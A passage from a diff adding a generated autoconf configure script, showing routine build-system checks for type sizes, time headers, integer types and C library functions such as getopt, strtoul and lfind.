+  done
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+ac_lo= ac_hi=
+fi
+rm -f conftest.err conftest.$ac_objext conftest.$ac_ext
+fi
+rm -f conftest.err conftest.$ac_objext conftest.$ac_ext
+# Binary search between lo and hi bounds.
+while test "x$ac_lo" != "x$ac_hi"; do
+  ac_mid=`expr '(' $ac_hi - $ac_lo ')' / 2 + $ac_lo`
+  cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+$ac_includes_default
+int
+main ()
+{
+static int test_array [1 - 2 * !(((long) (sizeof (long))) <= $ac_mid)];
+test_array [0] = 0
+
+  ;
+  return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext
+if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5
+  (eval $ac_compile) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } &&
+	 { ac_try='test -z "$ac_c_werror_flag"			 || test ! -s conftest.err'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; } &&
+	 { ac_try='test -s conftest.$ac_objext'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; }; then
+  ac_hi=$ac_mid
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+ac_lo=`expr '(' $ac_mid ')' + 1`
+fi
+rm -f conftest.err conftest.$ac_objext conftest.$ac_ext
+done
+case $ac_lo in
+?*) ac_cv_sizeof_long=$ac_lo;;
+'') { { echo "$as_me:$LINENO: error: cannot compute sizeof (long), 77
+See \`config.log' for more details." >&5
+echo "$as_me: error: cannot compute sizeof (long), 77
+See \`config.log' for more details." >&2;}
+   { (exit 1); exit 1; }; } ;;
+esac
+else
+  if test "$cross_compiling" = yes; then
+  { { echo "$as_me:$LINENO: error: internal error: not reached in cross-compile" >&5
+echo "$as_me: error: internal error: not reached in cross-compile" >&2;}
+   { (exit 1); exit 1; }; }
+else
+  cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+$ac_includes_default
+long longval () { return (long) (sizeof (long)); }
+unsigned long ulongval () { return (long) (sizeof (long)); }
+#include <stdio.h>
+#include <stdlib.h>
+int
+main ()
+{
+
+  FILE *f = fopen ("conftest.val", "w");
+  if (! f)
+    exit (1);
+  if (((long) (sizeof (long))) < 0)
+    {
+      long i = longval ();
+      if (i != ((long) (sizeof (long))))
+	exit (1);
+      fprintf (f, "%ld\n", i);
+    }
+  else
+    {
+      unsigned long i = ulongval ();
+      if (i != ((long) (sizeof (long))))
+	exit (1);
+      fprintf (f, "%lu\n", i);
+    }
+  exit (ferror (f) || fclose (f) != 0);
+
+  ;
+  return 0;
+}
+_ACEOF
+rm -f conftest$ac_exeext
+if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5
+  (eval $ac_link) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } && { ac_try='./conftest$ac_exeext'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; }; then
+  ac_cv_sizeof_long=`cat conftest.val`
+else
+  echo "$as_me: program exited with status $ac_status" >&5
+echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+( exit $ac_status )
+{ { echo "$as_me:$LINENO: error: cannot compute sizeof (long), 77
+See \`config.log' for more details." >&5
+echo "$as_me: error: cannot compute sizeof (long), 77
+See \`config.log' for more details." >&2;}
+   { (exit 1); exit 1; }; }
+fi
+rm -f core *.core gmon.out bb.out conftest$ac_exeext conftest.$ac_objext conftest.$ac_ext
+fi
+fi
+rm -f conftest.val
+else
+  ac_cv_sizeof_long=0
+fi
+fi
+echo "$as_me:$LINENO: result: $ac_cv_sizeof_long" >&5
+echo "${ECHO_T}$ac_cv_sizeof_long" >&6
+cat >>confdefs.h <<_ACEOF
+#define SIZEOF_LONG $ac_cv_sizeof_long
+_ACEOF
+
+
+echo "$as_me:$LINENO: checking whether time.h and sys/time.h may both be included" >&5
+echo $ECHO_N "checking whether time.h and sys/time.h may both be included... $ECHO_C" >&6
+if test "${ac_cv_header_time+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+#include <sys/types.h>
+#include <sys/time.h>
+#include <time.h>
+
+int
+main ()
+{
+if ((struct tm *) 0)
+return 0;
+  ;
+  return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext
+if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5
+  (eval $ac_compile) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } &&
+	 { ac_try='test -z "$ac_c_werror_flag"			 || test ! -s conftest.err'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; } &&
+	 { ac_try='test -s conftest.$ac_objext'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; }; then
+  ac_cv_header_time=yes
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+ac_cv_header_time=no
+fi
+rm -f conftest.err conftest.$ac_objext conftest.$ac_ext
+fi
+echo "$as_me:$LINENO: result: $ac_cv_header_time" >&5
+echo "${ECHO_T}$ac_cv_header_time" >&6
+if test $ac_cv_header_time = yes; then
+
+cat >>confdefs.h <<\_ACEOF
+#define TIME_WITH_SYS_TIME 1
+_ACEOF
+
+fi
+
+echo "$as_me:$LINENO: checking whether struct tm is in sys/time.h or time.h" >&5
+echo $ECHO_N "checking whether struct tm is in sys/time.h or time.h... $ECHO_C" >&6
+if test "${ac_cv_struct_tm+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+#include <sys/types.h>
+#include <time.h>
+
+int
+main ()
+{
+struct tm *tp; tp->tm_sec;
+  ;
+  return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext
+if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5
+  (eval $ac_compile) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } &&
+	 { ac_try='test -z "$ac_c_werror_flag"			 || test ! -s conftest.err'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; } &&
+	 { ac_try='test -s conftest.$ac_objext'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; }; then
+  ac_cv_struct_tm=time.h
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+ac_cv_struct_tm=sys/time.h
+fi
+rm -f conftest.err conftest.$ac_objext conftest.$ac_ext
+fi
+echo "$as_me:$LINENO: result: $ac_cv_struct_tm" >&5
+echo "${ECHO_T}$ac_cv_struct_tm" >&6
+if test $ac_cv_struct_tm = sys/time.h; then
+
+cat >>confdefs.h <<\_ACEOF
+#define TM_IN_SYS_TIME 1
+_ACEOF
+
+fi
+
+echo "$as_me:$LINENO: checking for int8" >&5
+echo $ECHO_N "checking for int8... $ECHO_C" >&6
+if test "${ac_cv_type_int8+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+
+#if HAVE_INTTYPES_H
+# include <inttypes.h>
+#endif
+
+
+int
+main ()
+{
+if ((int8 *) 0)
+  return 0;
+if (sizeof (int8))
+  return 0;
+  ;
+  return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext
+if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5
+  (eval $ac_compile) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } &&
+	 { ac_try='test -z "$ac_c_werror_flag"			 || test ! -s conftest.err'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; } &&
+	 { ac_try='test -s conftest.$ac_objext'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; }; then
+  ac_cv_type_int8=yes
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+ac_cv_type_int8=no
+fi
+rm -f conftest.err conftest.$ac_objext conftest.$ac_ext
+fi
+echo "$as_me:$LINENO: result: $ac_cv_type_int8" >&5
+echo "${ECHO_T}$ac_cv_type_int8" >&6
+if test $ac_cv_type_int8 = yes; then
+
+cat >>confdefs.h <<_ACEOF
+#define HAVE_INT8 1
+_ACEOF
+
+
+fi
+echo "$as_me:$LINENO: checking for int16" >&5
+echo $ECHO_N "checking for int16... $ECHO_C" >&6
+if test "${ac_cv_type_int16+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+
+#if HAVE_INTTYPES_H
+# include <inttypes.h>
+#endif
+
+
+int
+main ()
+{
+if ((int16 *) 0)
+  return 0;
+if (sizeof (int16))
+  return 0;
+  ;
+  return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext
+if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5
+  (eval $ac_compile) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } &&
+	 { ac_try='test -z "$ac_c_werror_flag"			 || test ! -s conftest.err'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; } &&
+	 { ac_try='test -s conftest.$ac_objext'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; }; then
+  ac_cv_type_int16=yes
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+ac_cv_type_int16=no
+fi
+rm -f conftest.err conftest.$ac_objext conftest.$ac_ext
+fi
+echo "$as_me:$LINENO: result: $ac_cv_type_int16" >&5
+echo "${ECHO_T}$ac_cv_type_int16" >&6
+if test $ac_cv_type_int16 = yes; then
+
+cat >>confdefs.h <<_ACEOF
+#define HAVE_INT16 1
+_ACEOF
+
+
+fi
+echo "$as_me:$LINENO: checking for int32" >&5
+echo $ECHO_N "checking for int32... $ECHO_C" >&6
+if test "${ac_cv_type_int32+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+
+#if HAVE_INTTYPES_H
+# include <inttypes.h>
+#endif
+
+
+int
+main ()
+{
+if ((int32 *) 0)
+  return 0;
+if (sizeof (int32))
+  return 0;
+  ;
+  return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext
+if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5
+  (eval $ac_compile) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } &&
+	 { ac_try='test -z "$ac_c_werror_flag"			 || test ! -s conftest.err'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; } &&
+	 { ac_try='test -s conftest.$ac_objext'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; }; then
+  ac_cv_type_int32=yes
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+ac_cv_type_int32=no
+fi
+rm -f conftest.err conftest.$ac_objext conftest.$ac_ext
+fi
+echo "$as_me:$LINENO: result: $ac_cv_type_int32" >&5
+echo "${ECHO_T}$ac_cv_type_int32" >&6
+if test $ac_cv_type_int32 = yes; then
+
+cat >>confdefs.h <<_ACEOF
+#define HAVE_INT32 1
+_ACEOF
+
+
+fi
+
+
+
+
+
+
+
+
+
+
+
+
+
+for ac_func in floor isascii memmove memset mmap pow sqrt strchr strrchr strstr strtol
+do
+as_ac_var=`echo "ac_cv_func_$ac_func" | $as_tr_sh`
+echo "$as_me:$LINENO: checking for $ac_func" >&5
+echo $ECHO_N "checking for $ac_func... $ECHO_C" >&6
+if eval "test \"\${$as_ac_var+set}\" = set"; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+/* Define $ac_func to an innocuous variant, in case <limits.h> declares $ac_func.
+   For example, HP-UX 11i <limits.h> declares gettimeofday.  */
+#define $ac_func innocuous_$ac_func
+
+/* System header to define __stub macros and hopefully few prototypes,
+    which can conflict with char $ac_func (); below.
+    Prefer <limits.h> to <assert.h> if __STDC__ is defined, since
+    <limits.h> exists even on freestanding compilers.  */
+
+#ifdef __STDC__
+# include <limits.h>
+#else
+# include <assert.h>
+#endif
+
+#undef $ac_func
+
+/* Override any gcc2 internal prototype to avoid an error.  */
+#ifdef __cplusplus
+extern "C"
+{
+#endif
+/* We use char because int might match the return type of a gcc2
+   builtin and then its argument prototype would still apply.  */
+char $ac_func ();
+/* The GNU C library defines this for functions which it implements
+    to always fail with ENOSYS.  Some functions are actually named
+    something starting with __ and the normal name is an alias.  */
+#if defined (__stub_$ac_func) || defined (__stub___$ac_func)
+choke me
+#else
+char (*f) () = $ac_func;
+#endif
+#ifdef __cplusplus
+}
+#endif
+
+int
+main ()
+{
+return f != $ac_func;
+  ;
+  return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext conftest$ac_exeext
+if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5
+  (eval $ac_link) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } &&
+	 { ac_try='test -z "$ac_c_werror_flag"			 || test ! -s conftest.err'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; } &&
+	 { ac_try='test -s conftest$ac_exeext'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; }; then
+  eval "$as_ac_var=yes"
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+eval "$as_ac_var=no"
+fi
+rm -f conftest.err conftest.$ac_objext \
+      conftest$ac_exeext conftest.$ac_ext
+fi
+echo "$as_me:$LINENO: result: `eval echo '${'$as_ac_var'}'`" >&5
+echo "${ECHO_T}`eval echo '${'$as_ac_var'}'`" >&6
+if test `eval echo '${'$as_ac_var'}'` = yes; then
+  cat >>confdefs.h <<_ACEOF
+#define `echo "HAVE_$ac_func" | $as_tr_cpp` 1
+_ACEOF
+
+fi
+done
+
+
+
+for ac_func in getopt
+do
+as_ac_var=`echo "ac_cv_func_$ac_func" | $as_tr_sh`
+echo "$as_me:$LINENO: checking for $ac_func" >&5
+echo $ECHO_N "checking for $ac_func... $ECHO_C" >&6
+if eval "test \"\${$as_ac_var+set}\" = set"; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+/* Define $ac_func to an innocuous variant, in case <limits.h> declares $ac_func.
+   For example, HP-UX 11i <limits.h> declares gettimeofday.  */
+#define $ac_func innocuous_$ac_func
+
+/* System header to define __stub macros and hopefully few prototypes,
+    which can conflict with char $ac_func (); below.
+    Prefer <limits.h> to <assert.h> if __STDC__ is defined, since
+    <limits.h> exists even on freestanding compilers.  */
+
+#ifdef __STDC__
+# include <limits.h>
+#else
+# include <assert.h>
+#endif
+
+#undef $ac_func
+
+/* Override any gcc2 internal prototype to avoid an error.  */
+#ifdef __cplusplus
+extern "C"
+{
+#endif
+/* We use char because int might match the return type of a gcc2
+   builtin and then its argument prototype would still apply.  */
+char $ac_func ();
+/* The GNU C library defines this for functions which it implements
+    to always fail with ENOSYS.  Some functions are actually named
+    something starting with __ and the normal name is an alias.  */
+#if defined (__stub_$ac_func) || defined (__stub___$ac_func)
+choke me
+#else
+char (*f) () = $ac_func;
+#endif
+#ifdef __cplusplus
+}
+#endif
+
+int
+main ()
+{
+return f != $ac_func;
+  ;
+  return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext conftest$ac_exeext
+if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5
+  (eval $ac_link) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } &&
+	 { ac_try='test -z "$ac_c_werror_flag"			 || test ! -s conftest.err'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; } &&
+	 { ac_try='test -s conftest$ac_exeext'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; }; then
+  eval "$as_ac_var=yes"
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+eval "$as_ac_var=no"
+fi
+rm -f conftest.err conftest.$ac_objext \
+      conftest$ac_exeext conftest.$ac_ext
+fi
+echo "$as_me:$LINENO: result: `eval echo '${'$as_ac_var'}'`" >&5
+echo "${ECHO_T}`eval echo '${'$as_ac_var'}'`" >&6
+if test `eval echo '${'$as_ac_var'}'` = yes; then
+  cat >>confdefs.h <<_ACEOF
+#define `echo "HAVE_$ac_func" | $as_tr_cpp` 1
+_ACEOF
+
+else
+  case $LIBOBJS in
+    "$ac_func.$ac_objext"   | \
+  *" $ac_func.$ac_objext"   | \
+    "$ac_func.$ac_objext "* | \
+  *" $ac_func.$ac_objext "* ) ;;
+  *) LIBOBJS="$LIBOBJS $ac_func.$ac_objext" ;;
+esac
+
+fi
+done
+
+
+
+for ac_func in strcasecmp
+do
+as_ac_var=`echo "ac_cv_func_$ac_func" | $as_tr_sh`
+echo "$as_me:$LINENO: checking for $ac_func" >&5
+echo $ECHO_N "checking for $ac_func... $ECHO_C" >&6
+if eval "test \"\${$as_ac_var+set}\" = set"; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+/* Define $ac_func to an innocuous variant, in case <limits.h> declares $ac_func.
+   For example, HP-UX 11i <limits.h> declares gettimeofday.  */
+#define $ac_func innocuous_$ac_func
+
+/* System header to define __stub macros and hopefully few prototypes,
+    which can conflict with char $ac_func (); below.
+    Prefer <limits.h> to <assert.h> if __STDC__ is defined, since
+    <limits.h> exists even on freestanding compilers.  */
+
+#ifdef __STDC__
+# include <limits.h>
+#else
+# include <assert.h>
+#endif
+
+#undef $ac_func
+
+/* Override any gcc2 internal prototype to avoid an error.  */
+#ifdef __cplusplus
+extern "C"
+{
+#endif
+/* We use char because int might match the return type of a gcc2
+   builtin and then its argument prototype would still apply.  */
+char $ac_func ();
+/* The GNU C library defines this for functions which it implements
+    to always fail with ENOSYS.  Some functions are actually named
+    something starting with __ and the normal name is an alias.  */
+#if defined (__stub_$ac_func) || defined (__stub___$ac_func)
+choke me
+#else
+char (*f) () = $ac_func;
+#endif
+#ifdef __cplusplus
+}
+#endif
+
+int
+main ()
+{
+return f != $ac_func;
+  ;
+  return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext conftest$ac_exeext
+if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5
+  (eval $ac_link) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } &&
+	 { ac_try='test -z "$ac_c_werror_flag"			 || test ! -s conftest.err'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; } &&
+	 { ac_try='test -s conftest$ac_exeext'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; }; then
+  eval "$as_ac_var=yes"
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+eval "$as_ac_var=no"
+fi
+rm -f conftest.err conftest.$ac_objext \
+      conftest$ac_exeext conftest.$ac_ext
+fi
+echo "$as_me:$LINENO: result: `eval echo '${'$as_ac_var'}'`" >&5
+echo "${ECHO_T}`eval echo '${'$as_ac_var'}'`" >&6
+if test `eval echo '${'$as_ac_var'}'` = yes; then
+  cat >>confdefs.h <<_ACEOF
+#define `echo "HAVE_$ac_func" | $as_tr_cpp` 1
+_ACEOF
+
+else
+  case $LIBOBJS in
+    "$ac_func.$ac_objext"   | \
+  *" $ac_func.$ac_objext"   | \
+    "$ac_func.$ac_objext "* | \
+  *" $ac_func.$ac_objext "* ) ;;
+  *) LIBOBJS="$LIBOBJS $ac_func.$ac_objext" ;;
+esac
+
+fi
+done
+
+
+
+for ac_func in strtoul
+do
+as_ac_var=`echo "ac_cv_func_$ac_func" | $as_tr_sh`
+echo "$as_me:$LINENO: checking for $ac_func" >&5
+echo $ECHO_N "checking for $ac_func... $ECHO_C" >&6
+if eval "test \"\${$as_ac_var+set}\" = set"; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+/* Define $ac_func to an innocuous variant, in case <limits.h> declares $ac_func.
+   For example, HP-UX 11i <limits.h> declares gettimeofday.  */
+#define $ac_func innocuous_$ac_func
+
+/* System header to define __stub macros and hopefully few prototypes,
+    which can conflict with char $ac_func (); below.
+    Prefer <limits.h> to <assert.h> if __STDC__ is defined, since
+    <limits.h> exists even on freestanding compilers.  */
+
+#ifdef __STDC__
+# include <limits.h>
+#else
+# include <assert.h>
+#endif
+
+#undef $ac_func
+
+/* Override any gcc2 internal prototype to avoid an error.  */
+#ifdef __cplusplus
+extern "C"
+{
+#endif
+/* We use char because int might match the return type of a gcc2
+   builtin and then its argument prototype would still apply.  */
+char $ac_func ();
+/* The GNU C library defines this for functions which it implements
+    to always fail with ENOSYS.  Some functions are actually named
+    something starting with __ and the normal name is an alias.  */
+#if defined (__stub_$ac_func) || defined (__stub___$ac_func)
+choke me
+#else
+char (*f) () = $ac_func;
+#endif
+#ifdef __cplusplus
+}
+#endif
+
+int
+main ()
+{
+return f != $ac_func;
+  ;
+  return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext conftest$ac_exeext
+if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5
+  (eval $ac_link) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } &&
+	 { ac_try='test -z "$ac_c_werror_flag"			 || test ! -s conftest.err'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; } &&
+	 { ac_try='test -s conftest$ac_exeext'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; }; then
+  eval "$as_ac_var=yes"
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+eval "$as_ac_var=no"
+fi
+rm -f conftest.err conftest.$ac_objext \
+      conftest$ac_exeext conftest.$ac_ext
+fi
+echo "$as_me:$LINENO: result: `eval echo '${'$as_ac_var'}'`" >&5
+echo "${ECHO_T}`eval echo '${'$as_ac_var'}'`" >&6
+if test `eval echo '${'$as_ac_var'}'` = yes; then
+  cat >>confdefs.h <<_ACEOF
+#define `echo "HAVE_$ac_func" | $as_tr_cpp` 1
+_ACEOF
+
+else
+  case $LIBOBJS in
+    "$ac_func.$ac_objext"   | \
+  *" $ac_func.$ac_objext"   | \
+    "$ac_func.$ac_objext "* | \
+  *" $ac_func.$ac_objext "* ) ;;
+  *) LIBOBJS="$LIBOBJS $ac_func.$ac_objext" ;;
+esac
+
+fi
+done
+
+
+
+for ac_func in lfind
+do
+as_ac_var=`echo "ac_cv_func_$ac_func" | $as_tr_sh`
+echo "$as_me:$LINENO: checking for $ac_func" >&5
+echo $ECHO_N "checking for $ac_func... $ECHO_C" >&6
+if eval "test \"\${$as_ac_var+set}\" = set"; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+/* Define $ac_func to an innocuous variant, in case <limits.h> declares $ac_func.
+   For example, HP-UX 11i <limits.h> declares gettimeofday.  */
+#define $ac_func innocuous_$ac_func
+
+/* System header to define __stub macros and hopefully few prototypes,
+    which can conflict with char $ac_func (); below.
+    Prefer <limits.h> to <assert.h> if __STDC__ is defined, since
+    <limits.h> exists even on freestanding compilers.  */
+
